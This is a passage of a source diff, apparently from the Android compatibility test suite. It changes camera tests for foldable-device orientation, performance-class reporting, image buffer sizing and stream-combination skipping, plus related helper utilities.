+            return ACAMERA_ERROR_UNKNOWN;
+        }
+        return ACameraCaptureSession_abortCaptures(mSession);
+    }
+
     camera_status_t updateRepeatingRequest(ACaptureRequest *updatedRequest,
             int *sequenceId = nullptr) {
         if (mSession == nullptr || updatedRequest == nullptr) {
@@ -3770,9 +3778,9 @@
             lastFrameNumber++;
         }
 
-        ret = testCase.stopPreview();
+        ret = testCase.abortCaptures();
         if (ret != ACAMERA_OK) {
-            LOG_ERROR(errorString, "stopPreview failed!");
+            LOG_ERROR(errorString, "abort captures failed!");
             goto exit;
         }
 
diff --git a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
index 4b48390..c938442 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
@@ -16,8 +16,24 @@
 
 package android.hardware.camera2.cts;
 
+import static android.hardware.camera2.cts.CameraTestUtils.SimpleCaptureCallback;
+import static android.hardware.camera2.cts.helpers.AssertHelpers.assertArrayContains;
+import static android.hardware.camera2.cts.helpers.AssertHelpers.assertArrayContainsAnyOf;
+import static android.hardware.camera2.cts.helpers.AssertHelpers.assertCollectionContainsAnyOf;
+import static android.hardware.cts.helpers.CameraUtils.matchParametersToCharacteristics;
+
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertNotNull;
+import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.fail;
+
+import static org.mockito.Mockito.any;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.timeout;
+import static org.mockito.Mockito.verify;
+
 import android.content.Context;
-import android.content.pm.PackageManager;
 import android.graphics.ImageFormat;
 import android.graphics.Rect;
 import android.graphics.SurfaceTexture;
@@ -25,53 +41,53 @@
 import android.hardware.camera2.CameraCharacteristics;
 import android.hardware.camera2.CameraCharacteristics.Key;
 import android.hardware.camera2.CameraDevice;
-import android.hardware.camera2.CameraManager;
 import android.hardware.camera2.CameraMetadata;
 import android.hardware.camera2.CaptureRequest;
 import android.hardware.camera2.CaptureResult;
-import android.hardware.camera2.cts.helpers.CameraErrorCollector;
 import android.hardware.camera2.cts.helpers.StaticMetadata;
 import android.hardware.camera2.cts.testcases.Camera2AndroidTestCase;
 import android.hardware.camera2.params.BlackLevelPattern;
 import android.hardware.camera2.params.ColorSpaceTransform;
+import android.hardware.camera2.params.DeviceStateSensorOrientationMap;
 import android.hardware.camera2.params.RecommendedStreamConfigurationMap;
 import android.hardware.camera2.params.StreamConfigurationMap;
+import android.hardware.cts.helpers.CameraUtils;
 import android.media.CamcorderProfile;
 import android.media.ImageReader;
 import android.os.Build;
 import android.util.ArraySet;
 import android.util.DisplayMetrics;
 import android.util.Log;
-import android.util.Rational;
-import android.util.Range;
-import android.util.Size;
 import android.util.Pair;
 import android.util.Patterns;
+import android.util.Range;
+import android.util.Rational;
+import android.util.Size;
 import android.view.Display;
 import android.view.Surface;
 import android.view.WindowManager;
 
+import androidx.test.InstrumentationRegistry;
+
 import com.android.compatibility.common.util.CddTest;
+import com.android.compatibility.common.util.DeviceReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
 
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.List;
 import java.util.Objects;
+import java.util.Set;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
-import java.util.Set;
 
-import org.junit.runners.Parameterized;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
-import static android.hardware.camera2.cts.helpers.AssertHelpers.*;
-import static android.hardware.camera2.cts.CameraTestUtils.SimpleCaptureCallback;
-import static android.hardware.cts.helpers.CameraUtils.matchParametersToCharacteristics;
-
-import static junit.framework.Assert.*;
-
-import static org.mockito.Mockito.*;
+import static android.hardware.camera2.cts.CameraTestUtils.MPC_REPORT_LOG_NAME;
+import static android.hardware.camera2.cts.CameraTestUtils.MPC_STREAM_NAME;
 
 /**
  * Extended tests for static camera characteristics.
@@ -2480,6 +2496,40 @@
     }
 
     /**
+     * Check DeviceStateSensorOrientationMap camera reporting.
+     * If present, the map should only be part of logical camera characteristics.
+     * Verify that all device state modes return valid orientations.
+     */
+    @Test
+    public void testDeviceStateSensorOrientationMapCharacteristics() {
+        for (int i = 0; i < mAllCameraIds.length; i++) {
+            Log.i(TAG, "testDeviceStateOrientationMapCharacteristics: Testing camera ID " +
+                    mAllCameraIds[i]);
+
+            CameraCharacteristics c = mCharacteristics.get(i);
+            DeviceStateSensorOrientationMap orientationMap = c.get(
+                    CameraCharacteristics.INFO_DEVICE_STATE_SENSOR_ORIENTATION_MAP);
+            if (orientationMap == null) {
+                continue;
+            }
+            // DeviceStateOrientationMaps must only be present within logical camera
+            // characteristics.
+            assertTrue("Camera id: " + i + " All devices advertising a " +
+                    "DeviceStateSensorOrientationMap must also be logical cameras!",
+                    CameraTestUtils.hasCapability(c,
+                    CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_LOGICAL_MULTI_CAMERA));
+            List<Long> supportedStates = new ArrayList<>(Arrays.asList(
+                    DeviceStateSensorOrientationMap.NORMAL, DeviceStateSensorOrientationMap.FOLDED));
+            for (long deviceState : supportedStates) {
+                int orientation = orientationMap.getSensorOrientation(deviceState);
+                assertTrue("CameraId: " + i + " Unexpected orientation: " + orientation,
+                        (orientation >= 0) && (orientation <= 270) &&
+                        ((orientation % 90) == 0));
+            }
+        }
+    }
+
+    /**
      * Check that all devices available through the legacy API are also
      * accessible via Camera2.
      */
@@ -2538,6 +2588,15 @@
     @CddTest(requirement="7.5.5/C-1-1")
     @Test
     public void testCameraOrientationAlignedWithDevice() {
+        if (CameraUtils.isDeviceFoldable(mContext)) {
+            // CDD 7.5.5/C-1-1 does not apply to devices with folding displays as the display aspect
+            // ratios might change with the device's folding state.
+            // Skip this test in foldables until the CDD is updated to include foldables.
+            Log.i(TAG, "CDD 7.5.5/C-1-1 does not apply to foldables, skipping"
+                    + " testCameraOrientationAlignedWithDevice");
+            return;
+        }
+
         WindowManager windowManager =
                 (WindowManager) mContext.getSystemService(Context.WINDOW_SERVICE);
         Display display = windowManager.getDefaultDisplay();
@@ -2587,22 +2646,54 @@
     }
 
     /**
+     * If meetPerfClass is true, return perfClassLevel.
+     * Otherwise, return NOT_MET.
+     */
+    private int updatePerfClassLevel(boolean meetPerfClass, int perfClassLevel) {
+        if (!meetPerfClass) {
+            return CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
+        } else {
+            return perfClassLevel;
+        }
+    }
+
+    /**
+     * Update perf class level based on meetSPerfClass and meetRPerfClass.
+     */
+    private int updatePerfClassLevel(boolean meetSPerfClass, boolean meetRPerfClass,
+            int perfClassLevel) {
+        if (!meetRPerfClass) {
+            return CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
+        } else if (!meetSPerfClass &&
+                perfClassLevel > CameraTestUtils.PERFORMANCE_CLASS_R) {
+            return CameraTestUtils.PERFORMANCE_CLASS_R;
+        }
+        return perfClassLevel;
+    }
+
+    /**
      * Check camera characteristics for R and S Performance class requirements as specified
      * in CDD camera section 7.5
      */
     @Test
-    @CddTest(requirement="7.5")
+    @CddTest(requirement="7.5/H-1-1,H-1-2,H-1-3,H-1-4,H-1-8")
     public void testCameraPerfClassCharacteristics() throws Exception {
         if (mAdoptShellPerm) {
             // Skip test for system camera. Performance class is only applicable for public camera
             // ids.
             return;
         }
-        boolean isRPerfClass = CameraTestUtils.isRPerfClass();
-        boolean isSPerfClass = CameraTestUtils.isSPerfClass();
-        if (!isRPerfClass && !isSPerfClass) {
-            return;
-        }
+        boolean assertRPerfClass = CameraTestUtils.isRPerfClass();
+        boolean assertSPerfClass = CameraTestUtils.isSPerfClass();
+        boolean assertPerfClass = (assertRPerfClass || assertSPerfClass);
+
+        int perfClassLevelH11 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
+        int perfClassLevelH12 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
+        int perfClassLevelH13 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
+        int perfClassLevelH14 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
+        int perfClassLevelH18 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
+
+        DeviceReportLog reportLog = new DeviceReportLog(MPC_REPORT_LOG_NAME, MPC_STREAM_NAME);
 
         boolean hasPrimaryRear = false;
         boolean hasPrimaryFront = false;
@@ -2631,78 +2722,145 @@
 
             if (isPrimaryRear) {
                 hasPrimaryRear = true;
-                mCollector.expectTrue("Primary rear camera resolution should be at least " +
-                        MIN_BACK_SENSOR_PERF_CLASS_RESOLUTION + " pixels, is "+
-                        sensorResolution,
-                        sensorResolution >= MIN_BACK_SENSOR_PERF_CLASS_RESOLUTION);
+                if (sensorResolution < MIN_BACK_SENSOR_PERF_CLASS_RESOLUTION) {
+                    mCollector.expectTrue("Primary rear camera resolution should be at least " +
+                            MIN_BACK_SENSOR_PERF_CLASS_RESOLUTION + " pixels, is "+
+                            sensorResolution, !assertPerfClass);
+                    perfClassLevelH11 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
+                }
+                reportLog.addValue("rear camera resolution", sensorResolution,
+                        ResultType.NEUTRAL, ResultUnit.NONE);
 
                 // 4K @ 30fps
                 boolean supportUHD = videoSizes.contains(UHD);
                 boolean supportDC4K = videoSizes.contains(DC4K);
-                mCollector.expectTrue("Primary rear camera should support 4k video recording",
-                        supportUHD || supportDC4K);
-                if (supportUHD || supportDC4K) {
+                reportLog.addValue("rear camera 4k support", supportUHD | supportDC4K,
+                        ResultType.NEUTRAL, ResultUnit.NONE);
+                if (!supportUHD && !supportDC4K) {
+                    mCollector.expectTrue("Primary rear camera should support 4k video recording",
+                            !assertPerfClass);
+                    perfClassLevelH11 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
+                } else {
                     long minFrameDuration = config.getOutputMinFrameDuration(
                             android.media.MediaRecorder.class, supportDC4K ? DC4K : UHD);
-                    mCollector.expectTrue("Primary rear camera should support 4k video @ 30fps",
-                            minFrameDuration < (1e9 / 29.9));
+                    reportLog.addValue("rear camera 4k frame duration", minFrameDuration,
+                        ResultType.NEUTRAL, ResultUnit.NONE);
+                    if (minFrameDuration >= (1e9 / 29.9)) {
+                        mCollector.expectTrue("Primary rear camera should support 4k video @ 30fps",
+                                !assertPerfClass);
+                        perfClassLevelH11 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
+                    }
                 }
             } else {
                 hasPrimaryFront = true;
-                if (isSPerfClass) {
+                if (sensorResolution < MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION) {
+                    mCollector.expectTrue("Primary front camera resolution should be at least " +
+                        MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION + " pixels, is "+
+                        sensorResolution, !assertSPerfClass);
+                    perfClassLevelH12 = Math.min(
+                            perfClassLevelH12, CameraTestUtils.PERFORMANCE_CLASS_R);
+                }
+                if (sensorResolution < MIN_FRONT_SENSOR_R_PERF_CLASS_RESOLUTION) {
                     mCollector.expectTrue("Primary front camera resolution should be at least " +
                             MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION + " pixels, is "+
-                            sensorResolution,
-                            sensorResolution >= MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION);
-                } else {
-                    mCollector.expectTrue("Primary front camera resolution should be at least " +
-                            MIN_FRONT_SENSOR_R_PERF_CLASS_RESOLUTION + " pixels, is "+
-                            sensorResolution,
-                            sensorResolution >= MIN_FRONT_SENSOR_R_PERF_CLASS_RESOLUTION);
+                            sensorResolution, !assertRPerfClass);
+                    perfClassLevelH12 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
                 }
+                reportLog.addValue("front camera resolution", sensorResolution,
+                        ResultType.NEUTRAL, ResultUnit.NONE);
+
                 // 1080P @ 30fps
                 boolean supportFULLHD = videoSizes.contains(FULLHD);
-                mCollector.expectTrue("Primary front camera should support 1080P video recording",
-                        supportFULLHD);
-                if (supportFULLHD) {
+                reportLog.addValue("front camera 1080p support", supportFULLHD,
+                        ResultType.NEUTRAL, ResultUnit.NONE);
+                if (!supportFULLHD) {
+                    mCollector.expectTrue(
+                            "Primary front camera should support 1080P video recording",
+                            !assertPerfClass);
+                    perfClassLevelH12 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
+                } else {
                     long minFrameDuration = config.getOutputMinFrameDuration(
                             android.media.MediaRecorder.class, FULLHD);
-                    mCollector.expectTrue("Primary front camera should support 1080P video @ 30fps",
-                            minFrameDuration < (1e9 / 29.9));
+                    if (minFrameDuration >= (1e9 / 29.9)) {
+                        mCollector.expectTrue(
+                                "Primary front camera should support 1080P video @ 30fps",
+                                !assertPerfClass);
+                        perfClassLevelH12 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
+                    }
+                    reportLog.addValue("front camera 1080p frame duration", minFrameDuration,
+                        ResultType.NEUTRAL, ResultUnit.NONE);
                 }
             }
 
-            String facingString = hasPrimaryRear ? "rear" : "front";
+            String facingString = isPrimaryRear ? "rear" : "front";
             // H-1-3
-            if (isSPerfClass || (isRPerfClass && isPrimaryRear)) {
+            if (assertSPerfClass || (assertRPerfClass && isPrimaryRear)) {
                 mCollector.expectTrue("Primary " + facingString +
                         " camera should be at least FULL, but is " +
                         toStringHardwareLevel(staticInfo.getHardwareLevelChecked()),
                         staticInfo.isHardwareLevelAtLeastFull());
-            } else {
+            } else if (assertRPerfClass) {
                 mCollector.expectTrue("Primary " + facingString +
                         " camera should be at least LIMITED, but is " +
                         toStringHardwareLevel(staticInfo.getHardwareLevelChecked()),
                         staticInfo.isHardwareLevelAtLeastLimited());
             }
 
+            reportLog.addValue(facingString + " camera hardware level",
+                    staticInfo.getHardwareLevelChecked(), ResultType.NEUTRAL, ResultUnit.NONE);
+            if (isPrimaryRear) {
+                perfClassLevelH13 = updatePerfClassLevel(staticInfo.isHardwareLevelAtLeastFull(),
+                        perfClassLevelH13);
+            } else {
+                perfClassLevelH13 = updatePerfClassLevel(staticInfo.isHardwareLevelAtLeastFull(),
+                        staticInfo.isHardwareLevelAtLeastLimited(), perfClassLevelH13);
+            }
+
             // H-1-4
             Integer timestampSource = c.get(CameraCharacteristics.SENSOR_INFO_TIMESTAMP_SOURCE);
+            reportLog.addValue(facingString + " timestampSource",
+                    timestampSource, ResultType.NEUTRAL, ResultUnit.NONE);
+            boolean realtimeTimestamp = (timestampSource != null &&
+                    timestampSource.equals(CameraMetadata.SENSOR_INFO_TIMESTAMP_SOURCE_REALTIME));
             mCollector.expectTrue(
                     "Primary " + facingString + " camera should support real-time timestamp source",
-                    timestampSource != null &&
-                    timestampSource.equals(CameraMetadata.SENSOR_INFO_TIMESTAMP_SOURCE_REALTIME));
+                    !assertPerfClass || realtimeTimestamp);
+            perfClassLevelH14 = updatePerfClassLevel(realtimeTimestamp, perfClassLevelH14);
 
             // H-1-8
-            if (isSPerfClass && isPrimaryRear) {
+            if (isPrimaryRear) {
+                boolean supportRaw = staticInfo.isCapabilitySupported(RAW);
+                reportLog.addValue(facingString + " camera raw support",
+                        supportRaw, ResultType.NEUTRAL, ResultUnit.NONE);
                 mCollector.expectTrue("Primary rear camera should support RAW capability",
-                        staticInfo.isCapabilitySupported(RAW));
+                        !assertSPerfClass || supportRaw);
+                perfClassLevelH18 = updatePerfClassLevel(supportRaw, true /*R*/, perfClassLevelH18);
             }
         }
-        mCollector.expectTrue("There must be a primary rear camera for performance class.",
-                hasPrimaryRear);
-        mCollector.expectTrue("There must be a primary front camera for performance class.",
-                hasPrimaryFront);
+        if (!hasPrimaryRear) {
+            mCollector.expectTrue("There must be a primary rear camera for performance class.",
+                    !assertPerfClass);
+            perfClassLevelH11 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
+        }
+        if (!hasPrimaryFront) {
+            mCollector.expectTrue("There must be a primary front camera for performance class.",
+                    !assertPerfClass);
+            perfClassLevelH12 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
+        }
+
+        reportLog.addValue("Version", "0.0.1", ResultType.NEUTRAL, ResultUnit.NONE);
+        final String PERF_CLASS_REQ_NUM_PREFIX = "2.2.7.2/7.5/";
+        reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-1",
+                perfClassLevelH11, ResultType.NEUTRAL, ResultUnit.NONE);
+        reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-2",
+                perfClassLevelH12, ResultType.NEUTRAL, ResultUnit.NONE);
+        reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-3",
+                perfClassLevelH13, ResultType.NEUTRAL, ResultUnit.NONE);
+        reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-4",
+                perfClassLevelH14, ResultType.NEUTRAL, ResultUnit.NONE);
+        reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-8",
+                perfClassLevelH18, ResultType.NEUTRAL, ResultUnit.NONE);
+        reportLog.submit(InstrumentationRegistry.getInstrumentation());
     }
 
     /**
diff --git a/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java b/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
index 189f35a..a852729 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
@@ -837,9 +837,9 @@
         int[] output = new int[w * h];
 
         // TODO: Optimize this with renderscript intrinsics
-        byte[] yRow = new byte[yPixStride * w];
-        byte[] cbRow = new byte[cbPixStride * w / 2];
-        byte[] crRow = new byte[crPixStride * w / 2];
+        byte[] yRow = new byte[yPixStride * (w - 1) + 1];
+        byte[] cbRow = new byte[cbPixStride * (w / 2 - 1) + 1];
+        byte[] crRow = new byte[crPixStride * (w / 2 - 1) + 1];
         yBuf.mark();
         cbBuf.mark();
         crBuf.mark();
diff --git a/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java b/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java
index 6428896..6123592 100644
--- a/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java
@@ -185,7 +185,7 @@
         for (String cameraId : mCameraIdsUnderTest) {
             Exception prior = null;
 
-            ImageVerifierListener yuvListener;
+            ImageVerifierListener yuvListener = null;
             ImageReader yuvReader = null;
 
             try {
@@ -210,6 +210,9 @@
                 prior = e;
             } finally {
                 try {
+                    if (yuvListener != null) {
+                        yuvListener.onReaderDestroyed();
+                    }
                     if (yuvReader != null) {
                         yuvReader.close();
                     }
diff --git a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
index db1f9a2..774477d 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
@@ -1367,13 +1367,16 @@
      * Initialize the supported video sizes.
      */
     private void initSupportedVideoSize(String cameraId)  throws Exception {
-        Size maxVideoSize = SIZE_BOUND_1080P;
-        if (CamcorderProfile.hasProfile(CamcorderProfile.QUALITY_2160P)) {
+        int id = Integer.valueOf(cameraId);
+        Size maxVideoSize = SIZE_BOUND_720P;
+        if (CamcorderProfile.hasProfile(id, CamcorderProfile.QUALITY_2160P)) {
             maxVideoSize = SIZE_BOUND_2160P;
-        } else if (CamcorderProfile.hasProfile(CamcorderProfile.QUALITY_QHD)) {
+        } else if (CamcorderProfile.hasProfile(id, CamcorderProfile.QUALITY_QHD)) {
             maxVideoSize = SIZE_BOUND_QHD;
-        } else if (CamcorderProfile.hasProfile(CamcorderProfile.QUALITY_2K)) {
+        } else if (CamcorderProfile.hasProfile(id, CamcorderProfile.QUALITY_2K)) {
             maxVideoSize = SIZE_BOUND_2K;
+        } else if (CamcorderProfile.hasProfile(id, CamcorderProfile.QUALITY_1080P)) {
+            maxVideoSize = SIZE_BOUND_1080P;
         }
 
         mSupportedVideoSizes =
diff --git a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
index b125d25..492cc68 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
@@ -243,19 +243,24 @@
                 if (mStaticInfo.isLogicalMultiCamera()) {
                     Set<String> physicalCameraIds =
                             mStaticInfo.getCharacteristics().getPhysicalCameraIds();
+                    boolean skipTest = false;
                     for (String physicalId : physicalCameraIds) {
                         if (Arrays.asList(mCameraIdsUnderTest).contains(physicalId)) {
                             // If physicalId is advertised in camera ID list, do not need to test
                             // its stream combination through logical camera.
-                            continue;
+                            skipTest = true;
                         }
                         for (Pair<String, String> unavailPhysicalCam : unavailablePhysicalCameras) {
                             if (unavailPhysicalCam.first.equals(id) ||
                                     unavailPhysicalCam.second.equals(physicalId)) {
                                 // This particular physical camera isn't available. Skip.
-                                continue;
+                                skipTest = true;
+                                break;
                             }
                         }
+                        if (skipTest) {
+                            continue;
+                        }
                         StaticMetadata physicalStaticInfo = mAllStaticInfo.get(physicalId);
 
                         MandatoryStreamCombination[] phyCombinations =
diff --git a/tests/camera/src/android/hardware/cts/CameraGLTest.java b/tests/camera/src/android/hardware/cts/CameraGLTest.java
index 7478e79..030b5ab 100644
--- a/tests/camera/src/android/hardware/cts/CameraGLTest.java
+++ b/tests/camera/src/android/hardware/cts/CameraGLTest.java
@@ -39,6 +39,8 @@
 
 import androidx.test.rule.ActivityTestRule;
 
+import com.android.compatibility.common.util.WindowUtil;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Rule;
@@ -104,6 +106,11 @@
     public void setUp() throws Exception {
         // Start CameraCtsActivity.
         GLSurfaceViewCtsActivity ctsActivity = mActivityRule.getActivity();
+        // Some of the tests run on the UI thread. In case some of the operations take a long time
+        // to complete,  wait for window to receive focus. This ensure that the focus event from
+        // input flinger has been handled, and avoids getting ANR.
+        WindowUtil.waitForFocus(ctsActivity);
+
         // Store a link to the view so we can redraw it when needed
         mGLView = ctsActivity.getView();
 
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
index 8c5cb93..e98cee3 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
@@ -104,6 +104,7 @@
     private static final String TAG = "CameraTestUtils";
     private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
     private static final boolean DEBUG = Log.isLoggable(TAG, Log.DEBUG);
+    public static final Size SIZE_BOUND_720P = new Size(1280, 720);
     public static final Size SIZE_BOUND_1080P = new Size(1920, 1088);
     public static final Size SIZE_BOUND_2K = new Size(2048, 1088);
     public static final Size SIZE_BOUND_QHD = new Size(2560, 1440);
@@ -135,6 +136,8 @@
 
     public static final String OFFLINE_CAMERA_ID = "offline_camera_id";
     public static final String REPORT_LOG_NAME = "CtsCameraTestCases";
+    public static final String MPC_REPORT_LOG_NAME = "MediaPerformanceClassLogs";
+    public static final String MPC_STREAM_NAME = "CameraCts";
 
     private static final int EXIF_DATETIME_LENGTH = 19;
     private static final int EXIF_DATETIME_ERROR_MARGIN_SEC = 60;
@@ -496,14 +499,22 @@
     public static class ImageVerifierListener implements ImageReader.OnImageAvailableListener {
         private Size mSize;
         private int mFormat;
+        // Whether the parent ImageReader is valid or not. If the parent ImageReader
+        // is destroyed, the acquired Image may become invalid.
+        private boolean mReaderIsValid;
 
         public ImageVerifierListener(Size sz, int format) {
             mSize = sz;
             mFormat = format;
+            mReaderIsValid = true;
+        }
+
+        public synchronized void onReaderDestroyed() {
+            mReaderIsValid = false;
         }
 
         @Override
-        public void onImageAvailable(ImageReader reader) {
+        public synchronized void onImageAvailable(ImageReader reader) {
             Image image = null;
             try {
                 image = reader.acquireNextImage();
@@ -513,7 +524,11 @@
                     // could be closed asynchronously, which will close all images acquired from
                     // this ImageReader.
                     checkImage(image, mSize.getWidth(), mSize.getHeight(), mFormat);
-                    checkAndroidImageFormat(image);
+                    // checkAndroidImageFormat calls into underlying Image object, which could
+                    // become invalid if the ImageReader is destroyed.
+                    if (mReaderIsValid) {
+                        checkAndroidImageFormat(image);
+                    }
                     image.close();
                 }
             }
@@ -3724,8 +3739,10 @@
         return zoomRatios;
     }
 
-    private static final int PERFORMANCE_CLASS_R = Build.VERSION_CODES.R;
-    private static final int PERFORMANCE_CLASS_S = Build.VERSION_CODES.R + 1;
+    public static final int PERFORMANCE_CLASS_NOT_MET = 0;
+    public static final int PERFORMANCE_CLASS_R = Build.VERSION_CODES.R;
+    public static final int PERFORMANCE_CLASS_S = Build.VERSION_CODES.R + 1;
+    public static final int PERFORMANCE_CLASS_CURRENT = PERFORMANCE_CLASS_S;
 
     /**
      * Check whether this mobile device is R performance class as defined in CDD
diff --git a/tests/camera/utils/src/android/hardware/cts/helpers/CameraUtils.java b/tests/camera/utils/src/android/hardware/cts/helpers/CameraUtils.java
index 5b4b485..df71087 100644
--- a/tests/camera/utils/src/android/hardware/cts/helpers/CameraUtils.java
+++ b/tests/camera/utils/src/android/hardware/cts/helpers/CameraUtils.java
@@ -17,12 +17,14 @@
 package android.hardware.cts.helpers;
 
 import android.content.Context;
+import android.content.res.Resources;
 import android.graphics.SurfaceTexture;
 import android.hardware.Camera;
 import android.hardware.camera2.CameraCharacteristics;
 import android.hardware.camera2.CameraManager;
 import android.hardware.camera2.CameraMetadata;
 import android.hardware.camera2.cts.helpers.StaticMetadata;
+import android.hardware.devicestate.DeviceStateManager;
 import android.os.Bundle;
 import android.os.SystemClock;
 import android.util.Log;
@@ -30,8 +32,11 @@
 
 import androidx.test.InstrumentationRegistry;
 
+import java.util.Arrays;
 import java.util.Comparator;
 import java.util.List;
+import java.util.Set;
+import java.util.stream.Collectors;
 import java.util.stream.IntStream;
 
 /**
@@ -273,4 +278,30 @@
         }
     }
 
+    /**
+     * Uses {@link DeviceStateManager} to determine if the device is foldable or not. It relies on
+     * the OEM exposing supported states, and setting
+     * com.android.internal.R.array.config_foldedDeviceStates correctly with the folded states.
+     *
+     * @return true is the device is a foldable; false otherwise
+     */
+    public static boolean isDeviceFoldable(Context mContext) {
+        DeviceStateManager deviceStateManager =
+                mContext.getSystemService(DeviceStateManager.class);
+        if (deviceStateManager == null) {
+            Log.w(TAG, "Couldn't locate DeviceStateManager to detect if the device is foldable"
+                    + " or not. Defaulting to not-foldable.");
+            return false;
+        }
+        Set<Integer> supportedStates = Arrays.stream(
+                deviceStateManager.getSupportedStates()).boxed().collect(Collectors.toSet());
+
+        Resources systemRes = Resources.getSystem();
+        int foldedStatesArrayIdentifier = systemRes.getIdentifier("config_foldedDeviceStates",
+                "array", "android");
+        int[] foldedDeviceStates = systemRes.getIntArray(foldedStatesArrayIdentifier);
+
+        // Device is a foldable if supportedStates contains any state in foldedDeviceStates
+        return Arrays.stream(foldedDeviceStates).anyMatch(supportedStates::contains);
+    }
 }
diff --git a/tests/contentcaptureservice/AndroidTest.xml b/tests/contentcaptureservice/AndroidTest.xml
index 6b0df9a..4c2f23c 100644
--- a/tests/contentcaptureservice/AndroidTest.xml
+++ b/tests/contentcaptureservice/AndroidTest.xml
@@ -16,6 +16,7 @@
 <configuration description="Config for ContentCapture CTS tests.">
   <option name="test-suite-tag" value="cts" />
   <option name="config-descriptor:metadata" key="component" value="contentcapture" />
+  <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
   <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
   <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
   <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
diff --git a/tests/contentcaptureservice/OutsideOfPackageActivity/src/android/contentcaptureservice/cts2/OutsideOfPackageActivity.java b/tests/contentcaptureservice/OutsideOfPackageActivity/src/android/contentcaptureservice/cts2/OutsideOfPackageActivity.java
index 5025762..ef10de5 100644
--- a/tests/contentcaptureservice/OutsideOfPackageActivity/src/android/contentcaptureservice/cts2/OutsideOfPackageActivity.java
+++ b/tests/contentcaptureservice/OutsideOfPackageActivity/src/android/contentcaptureservice/cts2/OutsideOfPackageActivity.java
@@ -16,9 +16,19 @@
 package android.contentcaptureservice.cts2;
 
 import android.app.Activity;
+import android.os.Handler;
+import android.os.Looper;
 
 /**
  * This activity is used to test temporary Content Capture Service interactions with activities
  * outside of its own package. It is intentionally empty.
  */
-public class OutsideOfPackageActivity extends Activity { }
+public class OutsideOfPackageActivity extends Activity {
+
+    @Override
+    public void onAttachedToWindow() {
+        super.onAttachedToWindow();
+        // finish activity after displayed.
+        new Handler(Looper.getMainLooper()).post(() -> finish());
+    }
+}
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Assertions.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Assertions.java
index 6c8b02d..4a32dad 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Assertions.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Assertions.java
@@ -26,6 +26,7 @@
 import static android.view.contentcapture.ContentCaptureEvent.TYPE_VIEW_TEXT_CHANGED;
 import static android.view.contentcapture.ContentCaptureEvent.TYPE_VIEW_TREE_APPEARED;
 import static android.view.contentcapture.ContentCaptureEvent.TYPE_VIEW_TREE_APPEARING;
